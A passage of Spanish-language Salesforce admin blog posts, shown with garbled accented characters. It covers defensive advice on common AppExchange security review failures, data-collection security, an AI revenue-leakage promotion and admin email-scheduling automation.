Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

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C贸mo mantener la seguridad en los flujos de trabajo de recopilaci贸n de datos de Salesforce

C贸mo mantener la seguridad en los flujos de trabajo de recopilaci贸n de datos de Salesforce

脷ltima actualizaci贸n el 18 de agosto de 2023 por Rakesh Gupta

La seguridad de los datos debe ser una de sus principales prioridades si recopila, almacena y administra informaci贸n personal. La protecci贸n de datos es especialmente importante si sus flujos de trabajo de recopilaci贸n de datos de Salesforce se integran con varias herramientas, como un generador de formularios web o un sistema de pago.

Muchas regiones e industrias tienen leyes estrictas de privacidad de datos, que incluyen GDPR, GLBA, HIPAA y otras, que rigen la forma en que las organizaciones manejan los datos. Puede garantizar la seguridad y el cumplimiento de los datos a lo largo de sus flujos de trabajo de recopilaci贸n de datos de Salesforce de varias maneras, incluido el enmascaramiento y el cifrado de datos, el control y los permisos de acceso, y el monitoreo regular.

Comprender la importancia de mantener los datos seguros

Los datos confidenciales son todos los datos que se pueden usar para identificar a una persona o da帽arlos si se pierden o son robados. Los tipos de datos confidenciales incluyen:

  • Informaci贸n de identificaci贸n personal
  • informaci贸n de salud protegida
  • Registros financieros o educativos
  • Datos 茅tnicos, pol铆ticos y biom茅tricos

Mantener la seguridad de los datos personales ayuda a generar confianza con las personas que comparten su informaci贸n personal con usted. Tambi茅n garantiza que su organizaci贸n evite sanciones por incumplimiento de las leyes de privacidad de datos.

Pr谩cticas recomendadas de seguridad al recopilar datos

Su organizaci贸n es responsable de asegurarse de que las herramientas de recopilaci贸n de datos que utiliza tengan implementadas las medidas de seguridad adecuadas. Podr谩 proteger mejor los datos confidenciales desde el momento en que se recopilan, a medida que se mueven a trav茅s de sus flujos de trabajo y cuando se trasladan a Salesforce.

Enmascarar campos sensibles

El enmascaramiento de campo ayuda a garantizar que los datos confidenciales se mantengan confidenciales y no se expongan innecesariamente a usuarios no autorizados.

Cifrar datos

El cifrado de datos ayuda a proteger los datos confidenciales contra el acceso, uso o robo no autorizados, ya sea que estos datos est茅n en reposo o en tr谩nsito.

Limite el acceso a los datos

La implementaci贸n de control de acceso y permisos garantiza que solo los usuarios autorizados puedan acceder o modificar los datos.

Supervisar y auditar flujos de trabajo

La vigilancia constante ayuda a garantizar que los flujos de trabajo de recopilaci贸n de datos mantengan el nivel adecuado de seguridad para mantener seguros los datos confidenciales.

2 formas de mejorar la seguridad en los flujos de trabajo de recopilaci贸n de datos de Salesforce

Un flujo de trabajo de recopilaci贸n de datos de varios pasos tendr谩 diferentes puntos de entrada con posibles riesgos de seguridad, como formularios, correos electr贸nicos y cargas de archivos. Es importante que en cada paso de sus procesos de datos, tenga medidas de seguridad para garantizar que personas no autorizadas no accedan a datos o archivos.

Aseg煤rese tambi茅n de probar continuamente sus flujos de trabajo de recopilaci贸n de datos de Salesforce en busca de vulnerabilidades de seguridad. La detecci贸n temprana de amenazas disminuir谩 la posibilidad de una violaci贸n de datos u otras consecuencias graves.

Implementar reglas de retenci贸n de datos

La creaci贸n de una pol铆tica clara de retenci贸n de datos es fundamental para definir c贸mo su organizaci贸n maneja los datos con fines de cumplimiento. Es importante establecer reglas sobre qu茅 datos deben conservarse y durante cu谩nto tiempo, as铆 como reglas sobre qui茅n tiene acceso y c贸mo deshacerse de los datos correctamente una vez que ya no se necesitan.

Acceso a los datos

Establecer reglas de acceso a datos como parte de su pol铆tica de retenci贸n de datos garantizar谩 que solo los usuarios autorizados en un flujo de trabajo tengan acceso a datos confidenciales. Los controles administrativos tambi茅n pueden incluir el requisito de que los usuarios inicien sesi贸n para ver o modificar las listas de respuestas del flujo de trabajo.

Purga de datos

Dentro de su flujo de trabajo, la configuraci贸n de reglas de depuraci贸n de datos puede garantizar que los datos de respuesta se eliminen de forma permanente una vez que ya no los utilice. Personalice esta configuraci贸n de depuraci贸n de datos, como la frecuencia con la que se completa una depuraci贸n, seg煤n sus requisitos de retenci贸n de datos.

Aproveche las aprobaciones del flujo de trabajo

Establecer pasos de aprobaci贸n dentro de los flujos de trabajo es importante para garantizar la responsabilidad durante el proceso de recopilaci贸n de datos. Los pasos de aprobaci贸n dentro de un flujo de trabajo significan que ning煤n usuario tiene control total sobre los cambios o decisiones de datos, lo que ayuda a mejorar la seguridad y la confidencialidad.

Detecci贸n de errores

Los pasos de aprobaci贸n en un flujo de trabajo proporcionan un proceso de revisi贸n de datos est谩ndar antes de que los datos se acepten o utilicen oficialmente. Esto ayuda a reducir las incoherencias y los errores, as铆 como a garantizar el cumplimiento de las normas de privacidad de datos pertinentes.

Pista de auditor铆a

Los registros de auditor铆a para las aprobaciones de flujos de trabajo simplifican el proceso al registrar cada paso de aprobaci贸n y crear un registro hist贸rico de los cambios realizados en los datos. Tambi茅n se pueden utilizar durante las investigaciones en caso de brechas de seguridad o problemas de datos.

Simplificaci贸n de los flujos de trabajo de recopilaci贸n de datos de Salesforce con FormAssembly

Cuando se trata de proteger los flujos de trabajo de datos, es fundamental contar con pol铆ticas de privacidad y seguridad de datos. Su organizaci贸n puede beneficiarse del uso de una 煤nica plataforma de flujo de trabajo y recopilaci贸n de datos como FormAssembly, que facilita la centralizaci贸n de la protecci贸n contra amenazas y garantiza el cumplimiento. Este enfoque le permite escalar m谩s f谩cilmente, auditar los flujos de datos de forma centralizada y aumentar la eficiencia, al mismo tiempo que maximiza la seguridad en todos sus flujos de trabajo de recopilaci贸n de datos de Salesforce.

La potente plataforma conectada a Salesforce de FormAssembly combina la recopilaci贸n de datos segura y compatible con un generador de procesos visual e inteligente que le permite crear procesos complejos que incluyen formularios, correos electr贸nicos, integraciones y m谩s, todo sin c贸digo.

Descubra c贸mo FormAssembly puede ayudarlo a optimizar sus flujos de trabajo de recopilaci贸n de datos de Salesforce mientras mantiene seguros los datos confidenciales.

馃憠 M谩s informaci贸n sobre el flujo de trabajo de FormAssembly

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

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Lucha contra las fugas de ingresos con inteligencia artificial, datos y poder administrativo

Lucha contra las fugas de ingresos con inteligencia artificial, datos y poder administrativo

脷ltima actualizaci贸n el 18 de agosto de 2023 por Rakesh Gupta

La fuga de ingresos es la amenaza oculta a la que se enfrentan todas las empresas. Desde las etapas iniciales de calificaci贸n de clientes potenciales hasta las ventas adicionales y cruzadas, los ingresos potenciales pueden perderse en cualquier punto del embudo de ventas debido a brechas e ineficiencias.

En este art铆culo, exploraremos c贸mo las empresas pueden utilizar la inteligencia artificial (IA) y los datos para combatir la fuga de ingresos junto con la experiencia de los administradores de Salesforce.

En su forma m谩s simple, la fuga de ingresos es la p茅rdida de ingresos ganables debido a errores no forzados y desalineaciones en el proceso de generaci贸n de ingresos. Seg煤n Boston Consulting Group , las d茅biles estrategias de lanzamiento al mercado est谩n causando que las empresas pierdan $2 billones al a帽o en ingresos potenciales perdidos y costos excesivos.  

Profundizaremos en este tema cr铆tico en Dreamforce en San Francisco del 12 al 14 de septiembre de 2023. Como orgulloso patrocinador del evento, Revenue Grid compartir谩 informaci贸n sobre c贸mo las empresas pueden abordar de manera efectiva la fuga de ingresos utilizando el poder de la IA y los datos. . Nuestra misi贸n es simple: capacitar a las empresas para salvaguardar sus ingresos ganados con tanto esfuerzo y, como administrador de Salesforce, 隆usted tiene la clave de esta iniciativa! 脷nase a nosotros en Dreamforce para sumergirse en el emocionante mundo de la protecci贸n de ingresos impulsada por IA y descubra c贸mo abordar este desaf铆o comercial cr铆tico.

Revolucionando la batalla contra las fugas de ingresos con IA

La lucha contra la fuga de ingresos nunca ha sido un trabajo f谩cil. Con el auge de la IA generativa, surge una poderosa herramienta contra las fugas de ingresos, que transforma la forma en que las empresas combaten este desafiante problema. La adopci贸n de IA entre las organizaciones B2B est谩 en constante aumento. La investigaci贸n de McKinsey indica que el 90 % de los l铆deres comerciales prev茅 utilizar con frecuencia soluciones de IA generativa en los pr贸ximos dos a帽os. Adem谩s, las organizaciones que invierten en IA est谩n experimentando aumentos sustanciales en los ingresos, que van del 3 % al 15 %, seg煤n el mismo informe.

La IA es un poderoso aliado en la lucha contra las fugas de ingresos. Sin embargo, no puede hacerlo solo. El punto clave a entender es que la IA aprende de los datos generados por humanos. En t茅rminos m谩s simples, la efectividad de la IA est谩 directamente relacionada con la calidad de sus datos. Para aprovechar al m谩ximo el potencial de la IA y desbloquear sus capacidades para la protecci贸n de los ingresos, es esencial conectar datos fiables y confiables de diversas fuentes.

Sin embargo, en muchas organizaciones, los datos se a铆slan con frecuencia en varios sistemas, creando silos. Incluso las grandes organizaciones con s贸lidos procedimientos de gesti贸n de datos a menudo se encuentran con problemas de calidad de los datos, como la falta de datos en su CRM. Esta realidad nos enfrenta a un c铆rculo vicioso, ya que los datos incorrectos son una de las causas m谩s comunes de fuga de ingresos . Sin garantizar la integridad de los datos y aprovechar la IA, combatir de manera efectiva las fugas de ingresos se convierte en una tarea imposible.

Garantizar la integridad de los datos incluye manejar la seguridad y abordar las preocupaciones de cumplimiento que requieren conocimientos t茅cnicos y experiencia espec铆fica. Con sus conocimientos y habilidades, los administradores de Salesforce desempe帽an un papel vital en cerrar la brecha entre las capacidades de IA y la calidad de los datos, lo que permite a las empresas combatir las fugas de ingresos de manera efectiva.

Garantizar la integridad de los datos con captura de actividad y poder administrativo

Una de las principales razones detr谩s de los problemas de datos para las empresas es la dependencia de los procesos manuales, lo que puede conducir a la entrada de datos que requiere mucho tiempo y mano de obra, lo que resulta en datos faltantes, errores y duplicados en CRM.

La captura de actividad automatizada supera estos desaf铆os al ofrecer una alternativa efectiva a la entrada manual de datos. Al recopilar y guardar el 100 % de los datos de actividad en varios puntos de contacto con el cliente, las soluciones de captura de actividad eliminan los errores de entrada de datos y garantizan datos precisos y siempre actualizados en Salesforce.

Adem谩s, tener datos completos permite a las empresas ver el panorama general, lo que les permite evaluar el estado de la tuber铆a e identificar acuerdos que se est谩n moviendo, estancados o en riesgo, ayud谩ndolos a identificar posibles fugas antes de que ocurran. Adem谩s, la captura de actividad automatizada mejora la eficiencia al liberar a los equipos de ventas de dedicar tiempo a la entrada manual de datos.

Si bien la captura de actividad parece ser la soluci贸n ideal para garantizar la integridad de los datos, no todas las herramientas de captura de actividad se crean de la misma manera y algunas pueden tener serias desventajas. Estos pueden incluir no tener datos reportables en Salesforce, opciones de sincronizaci贸n personalizables limitadas, falta de sincronizaci贸n bidireccional que causa problemas de programaci贸n y vulnerabilidades de seguridad debido a la ausencia de opciones de implementaci贸n en la nube privada y local.

La experiencia y los conocimientos t茅cnicos de los administradores de Salesforce son cruciales para superar con 茅xito estos desaf铆os. Capacitar a los administradores para elegir e implementar la soluci贸n de captura de actividad adecuada y manejar los problemas relacionados con los datos cuando ocurren garantiza el mantenimiento de datos de CRM de alta calidad.

Aprovechar la IA para combatir la fuga de ingresos

Con la integridad de los datos asegurada, el motor de IA ahora se alimenta con informaci贸n esencial y est谩 listo para actuar. Los datos de actividad incluyen se帽ales invaluables sobre la canalizaci贸n, las oportunidades de ventas y las brechas potenciales en los procesos. Identificar estos conocimientos requiere un an谩lisis profundo de los datos, lo que es imposible con la evaluaci贸n manual. AI automatiza el an谩lisis de datos para visualizar el estado de la tuber铆a e identificar las brechas de ejecuci贸n que indican fugas de ingresos.  

A continuaci贸n, la IA crea informaci贸n procesable a trav茅s de la inteligencia de ingresos. Despu茅s de analizar cantidades masivas de datos, la IA detecta patrones y los transforma en informaci贸n procesable a trav茅s de recomendaciones de IA contextuales y en tiempo real. Esto brinda a los equipos la orientaci贸n que necesitan para abordar la posible fuga de ingresos de inmediato.

El paso final es garantizar que se sigan estas recomendaciones y evaluar su eficacia. Las funciones de informes avanzados y las se帽ales de IA muestran el impacto exacto en tiempo real a medida que evoluciona la canalizaci贸n. Esto permite los ajustes necesarios en los procesos y establece una plataforma de ejecuci贸n para implementar cambios en toda la empresa y mejoras en los procesos para combatir las fugas de ingresos en toda la empresa.  

脷nase a nuestras sesiones de oratoria de Dreamforce para obtener m谩s informaci贸n

La fuga de ingresos es un problema comercial cr铆tico que debe manejarse, y la IA surge como una herramienta poderosa para abordarlo. Para aprovechar al m谩ximo el potencial de la IA, es esencial combinarla con datos de calidad. Aqu铆 es donde los administradores de Salesforce juegan un papel fundamental, potenciando la IA con datos valiosos y aprovechando su experiencia y conocimientos t茅cnicos para combatir las fugas de ingresos de manera efectiva.

Si est谩 ansioso por obtener m谩s informaci贸n sobre c贸mo la IA puede revolucionar sus estrategias de protecci贸n de ingresos, lo invitamos a unirse a nuestras sesiones de conferencias de Dreamforce . 隆Encu茅ntrenos en el stand n.潞 1126 para explorar las emocionantes posibilidades de la optimizaci贸n de ingresos impulsada por IA!

Maria Gordienko es directora de comunicaciones de Revenue Grid.

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Desatando los superpoderes de administraci贸n de Salesforce: 隆Impulse la colaboraci贸n en equipo, sobrecargue la eficiencia, gesti贸n de datos maestros!

Desatando los superpoderes de administraci贸n de Salesforce: 隆Impulse la colaboraci贸n en equipo, sobrecargue la eficiencia, gesti贸n de datos maestros!

脷ltima actualizaci贸n el 31 de julio de 2023 por Rakesh Gupta

Durante la 煤ltima d茅cada, el papel de un administrador de Salesforce ha evolucionado dr谩sticamente, manteniendo el ritmo del panorama din谩mico de las ventas y la gesti贸n de las relaciones con los clientes. Lo que alguna vez fue principalmente una posici贸n de entrada de datos se ha convertido en un rol multifac茅tico que abarca la planificaci贸n estrat茅gica, el an谩lisis y la optimizaci贸n de procesos. A medida que las empresas reconozcan la importancia de Salesforce para impulsar el crecimiento y mejorar las experiencias de los clientes, los administradores proporcionar谩n un puente fundamental entre la tecnolog铆a y el 茅xito comercial.

Este art铆culo explorar谩 c贸mo los administradores pueden aprovechar la automatizaci贸n de procesos junto con el ecosistema de Salesforce para fomentar la colaboraci贸n en equipo, mejorar la eficiencia organizacional y mejorar la gesti贸n de datos.

Uso de la automatizaci贸n de correo electr贸nico de Salesforce para la programaci贸n

La automatizaci贸n del correo electr贸nico se utiliza para optimizar varios aspectos de la comunicaci贸n por correo electr贸nico con clientes potenciales y clientes dentro de la plataforma de Salesforce para garantizar una programaci贸n de citas r谩pida y eficiente. Permite a las empresas administrar de manera eficiente sus campa帽as de marketing y ventas por correo electr贸nico, la participaci贸n del cliente y las reservas.

En los 煤ltimos a帽os, la automatizaci贸n revolucion贸 los procesos de ventas y soporte al agilizar la reserva de citas, reducir la carga de trabajo manual y brindar a los clientes opciones convenientes de autoservicio. Actualmente, los administradores de Salesforce pueden aprovechar herramientas como SUMO Scheduler junto con flujos nativos y alertas por correo electr贸nico para enviar autom谩ticamente invitaciones a citas. Al crear disparadores que monitorean campos de datos espec铆ficos asociados con registros de contactos y lanzar flujos personalizados, los administradores pueden asegurarse de que los clientes potenciales siempre puedan programar citas, independientemente de la hora del d铆a o la ubicaci贸n.

Actualizaciones autom谩ticas de temas: haga que sus citas se destaquen

Las reuniones de cara al cliente son vitales para los equipos de ventas y soporte, y las citas perdidas o canceladas pueden afectar negativamente los objetivos estrat茅gicos y el resultado final. Los administradores de Salesforce pueden aprovechar las actualizaciones autom谩ticas de temas dentro de la programaci贸n de citas para reducir las cancelaciones de manera efectiva y aumentar la participaci贸n en las citas. Al implementar esta funcionalidad, los administradores pueden mejorar la comunicaci贸n, brindar claridad e infundir confianza en el proceso de citas para los clientes y la organizaci贸n.

Se puede activar una actualizaci贸n autom谩tica del tema para incluir detalles esenciales como la fecha, la hora, la ubicaci贸n y el prop贸sito de la cita al programarla. Este mensaje de confirmaci贸n sirve como recordatorio para el cliente y reduce las posibilidades de cancelaciones involuntarias o de no presentarse.

Las actualizaciones autom谩ticas de temas tambi茅n se pueden personalizar para atender a clientes individuales. Los administradores pueden incluir detalles personalizados, como el nombre del cliente o referencias de citas espec铆ficas, para captar su atenci贸n y crear una sensaci贸n de personalizaci贸n. Esto ayuda a fomentar una conexi贸n con el cliente y refuerza su compromiso con la cita.

